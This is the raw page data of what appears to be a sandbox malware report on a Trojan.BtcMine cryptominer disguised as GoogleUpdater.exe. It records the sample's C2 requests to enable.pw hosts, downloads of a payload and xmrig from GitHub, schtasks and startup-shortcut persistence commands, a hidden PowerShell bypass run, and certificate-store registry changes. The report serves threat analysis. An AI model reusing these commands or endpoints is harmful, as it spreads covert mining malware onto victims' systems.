26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 4e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T48e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.BtcMine Sample e6aeef24c04a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e6aeef24c04a…. Malware family: Trojan.BtcMine. Threat score 100/100. 17/28 AV engines flagged this file. 18 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e","keywords":["Malicious","Trojan.BtcMine","malware analysis","sandbox report","threat intelligence","e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e"],"about":{"@type":"SoftwareApplication","name":"GoogleUpdater.exe","applicationCategory":["peexe","executable"],"identifier":"e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.BtcMine","antivirusDetections":{"malicious":17,"total":28},"behavioralIndicators":{"malicious":18,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T480,"" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\GOOGLEUPDATE.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\GOOGLEUPDATE.EXE") "GoogleUpdate.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "GoogleUpdate.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "GoogleUpdate.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "GoogleUpdate.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "GoogleUpdate.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\ISASS.EXE") "GoogleUpdate.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\ISASS.EXE") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CERT.CMD") "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CERT.CMD") "Isass.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\XMRIG32.EXE") "Isass.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\XMRIG32.EXE")28:T7e9,"" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")29:T745,"" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA"; Key: "BLOB") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")2a:T41d,"GET /cmd.php?hwid=24C2B6A0 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw Connection: Keep-Alive" "GET /vaio666999/2/raw/master/GoogleUpdate.exe HTTP/1.1 Host: github.com Connection: Keep-Alive" "GET /cmd.php?hwid=24C2B6A0&completed=45 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw" "GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw" "GET /cmd.php?hwid=24C2B6A0 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw" "POST /2.0/method/get HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" "GET /vaio666999/2/raw/master/xmrig32.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Host: github.com"2b:T81f,Process "GoogleUpdate.exe" (UID: 00015537-00003848) was launched with new environment variables: "XBH_FNT="2424832"" Process "wscript.exe" (UID: 00015933-00004068) was launched with new environment variables: "SESSIONNAME="Console"" Process "wscript.exe" (UID: 00015933-00004068) was launched with missing environment variables: "PROMPT, XBH_FNT" Process "Isass.exe" (UID: 00015951-00003984) was launched with new environment variables: "SESSIONNAME="Console"" Process "Isass.exe" (UID: 00015951-00003984) was launched with missing environment variables: "PROMPT, XBH_FNT" Process "cmd.exe" (UID: 00016013-00000812) was launched with new environment variables: "PROMPT="$P$G", XBH_FNT="2424832"" Process "cmd.exe" (UID: 00016013-00000812) was launched with missing environment variables: "SESSIONNAME" Process "cscript.exe" (UID: 00016086-00000712) was launched with new environment variables: "PROMPT="$P$G", XBH_FNT="2424832"" Process "cscript.exe" (UID: 00016086-00000712) was launched with missing environment variables: "SESSIONNAME" Process "cmd.exe" (UID: 00016354-00002388) was launched with new environment variables: "SESSIONNAME="Console"" Process "cmd.exe" (UID: 00016354-00002388) was launched with missing environment variables: "PROMPT, XBH_FNT" Process "powershell.exe" (UID: 00016405-00002448) was launched with new environment variables: "PROMPT="$P$G"" Process "schtasks.exe" (UID: 00018475-00000804) was launched with new environment variables: "XBH_FNT="2424832"" Process "schtasks.exe" (UID: 00018475-00000804) was launched with missing environment variables: "SESSIONNAME" Process "wscript.exe" (UID: 00018475-00003768) was launched with new environment variables: "SESSIONNAME="Console"" Process "wscript.exe" (UID: 00018475-00003768) was launched with missing environment variables: "PROMPT, XBH_FNT" Process "cscript.exe" (UID: 00018572-00003872) was launched with new environment variables: "PROMPT="$P$G", XBH_FNT="2424832"" Process "cscript.exe" (UID: 00018572-00003872) was launched with missing environment variables: "SESSIONNAME"2c:T4cb,"/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" on 2017-10-30.10:29:51.489 "/c taskkill /im GoogleUpdate.exe /f & erase C:\GoogleUpdate.exe & exit" on 2017-10-30.10:29:51.990 ""cmd /c ""%ALLUSERSPROFILE%\WindowsAppCertification\cert.cmd" "" on 2017-10-30.10:30:35.214, "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" on 2017-10-30.10:33:36.8952d:Td2d,Spawned process "GoogleUpdate.exe" (UID: 00015537-00003848) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs" /F" (UID: 00015932-00004032) Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs"" (UID: 00015933-00004068) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" /F" (UID: 00015945-00003940) Spawned process "Isass.exe" (UID: 00015951-00003984) Spawned process "cmd.exe" with commandline "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" (UID: 00015958-00004020) Spawned process "Isass.exe" (UID: 00016006-00002052) Spawned process "cmd.exe" with commandline "/c taskkill /im GoogleUpdate.exe /f & erase C:\GoogleUpdate.exe & exit" (UID: 00016013-00000812) Spawned process "cscript.exe" with commandline "cscript CreateShortcut.vbs" (UID: 00016086-00000712) Spawned process "taskkill.exe" with commandline "taskkill /im GoogleUpdate.exe /f" (UID: 00016095-00001928) Spawned process "cmd.exe" with commandline ""cmd /c ""%ALLUSERSPROFILE%\WindowsAppCertification\cert.cmd" "" (UID: 00016354-00002388), Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file %ALLUSERSPROFILE%\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1" (UID: 00016405-00002448), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs" /F" (UID: 00018475-00000804), Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs"" (UID: 00018475-00003768), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" /F" (UID: 00018485-00003752), Spawned process "Isass.exe" (UID: 00018489-00004052), Spawned process "cmd.exe" with commandline "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" (UID: 00018514-00001588), Spawned process "SecurityHeaIthService.exe" (UID: 00018557-00003812), Spawned process "cscript.exe" with commandline "cscript CreateShortcut.vbs" (UID: 00018572-00003872), Spawned process "SystemldleProcess.exe" (UID: 00018638-00003880)2e:T528,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_32\index23b.dat"2f:Tb8e,Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "https://github.com/vaio666999/2/raw/master/GoogleUpdate.exe" Heuristic match: "github.com" Pattern match: "www.digicert.com1402" Pattern match: "www.github.com0" Pattern match: "http://crl3.digicert.com/sha2-ev-server-g1.crl04" Pattern match: "http://crl4.digicert.com/sha2-ev-server-g1.crl0K" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "http://ocsp.digicert.com0R" Pattern match: "cacerts.digicert.com/DigiCertSHA2ExtendedValidationServerCA.crt0" Pattern match: "www.digicert.com1+0" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Heuristic match: "raw.githubusercontent.com" Pattern match: "www.digicert.com1/0-" Pattern match: "www.github.com" Heuristic match: "*.github.com" Heuristic match: "*.github.io" Heuristic match: "github.io" Heuristic match: "*.githubusercontent.com" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g5.crl04" Pattern match: "http://crl4.digicert.com/sha2-ha-server-g5.crl0L" Pattern match: "http://ocsp.digicert.com0M" Pattern match: "cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0" Heuristic match: "GET /cmd.php?hwid=24C2B6A0&completed=45 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw" Heuristic match: "GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw" Heuristic match: "POST /2.0/method/checkConnection HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.enable.pw" Heuristic match: "POST /4.0/method/installSuccess HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 205 Host: api.enable.pw" Heuristic match: "POST /2.0/method/error HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 9 Host: api.enable.pw" Pattern match: "https://github.com/vaio666999/2/raw/master/xmrig32.exe" Heuristic match: "F!z?>6<*N.es" Heuristic match: "E`qzLF.gU" Heuristic match: "GET /cmd.php?hwid=24C2B6A0 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: sorry.enable.pw" Heuristic match: "POST /2.0/method/setOnline HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 14 Host: api.enable.pw" Pattern match: "http://api.enable.pw/2.0/method/update" Heuristic match: "sorry.enable.pw" Heuristic match: "api.enable.pw" Heuristic match: "xmr.pool.minergate.com" Pattern match: "www.sysinternals.com"30:Tad5,"POST /2.0/method/checkConnection HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.enable.pw" with no payload "POST /4.0/method/installSuccess HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 205 Host: api.enable.pw" with no payload "POST /2.0/method/error HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 9 Host: api.enable.pw" with no payload "POST /4.0/method/check HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" with no payload "POST /4.0/method/threads HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.enable.pw" with no payload "POST /2.0/method/get HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" with no payload "POST /4.0/method/modules HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.enable.pw" with no payload "POST /2.0/method/info HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" with no payload "POST /2.0/method/config HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" with no payload "POST /2.0/method/setOnline HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 14 Host: api.enable.pw" with no payload "POST /4.0/method/cores HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" with no payload "POST /4.0/method/blacklist HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.enable.pw" with no payload "POST /2.0/method/delay HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 4 Host: api.enable.pw" with no payload31:T901,"" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")32:T48a,"" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "GoogleUpdate.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "GoogleUpdate.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Isass.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Isass.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")33:T80c,"" wrote bytes "67f91c01" to virtual address "0x75AD17BC" (part of module "ADVAPI32.DLL") "" wrote bytes "67f91c01" to virtual address "0x75901130" (part of module "USP10.DLL") "" wrote bytes "9cf91c01" to virtual address "0x7702120C" (part of module "IMM32.DLL") "" wrote bytes "9cf91c01" to virtual address "0x7625224C" (part of module "SHELL32.DLL") "" wrote bytes "d1f91c01" to virtual address "0x759010E4" (part of module "USP10.DLL") "" wrote bytes "d1f91c01" to virtual address "0x75A211A4" (part of module "MSVCRT.DLL") "" wrote bytes "9cf91c01" to virtual address "0x75E01014" (part of module "SHLWAPI.DLL") "" wrote bytes "d1f91c01" to virtual address "0x75E011C8" (part of module "SHLWAPI.DLL") "" wrote bytes "67f91c01" to virtual address "0x6F6911EC" (part of module "WINMM.DLL") "" wrote bytes "d1f91c01" to virtual address "0x757A1394" (part of module "OLE32.DLL") "" wrote bytes "67f91c01" to virtual address "0x75751144" (part of module "GDI32.DLL") "" wrote bytes "d1f91c01" to virtual address "0x75AD180C" (part of module "ADVAPI32.DLL") "" wrote bytes "9cf91c01" to virtual address "0x755014E4" (part of module "USER32.DLL") "" wrote bytes "9cf91c01" to virtual address "0x757A19A8" (part of module "OLE32.DLL") "" wrote bytes "9cf91c01" to virtual address "0x6F6912D0" (part of module "WINMM.DLL") "" wrote bytes "67f91c01" to virtual address "0x757A19AC" (part of module "OLE32.DLL") "" wrote bytes "d1f91c01" to virtual address "0x75E612B0" (part of module "RPCRT4.DLL") "" wrote bytes "d1f91c01" to virtual address "0x69A81350" (part of module "COMCTL32.DLL") "" wrote bytes "9cf91c01" to virtual address "0x69A811B8" (part of module "COMCTL32.DLL") "" wrote bytes "d1f91c01" to virtual address "0x75501490" 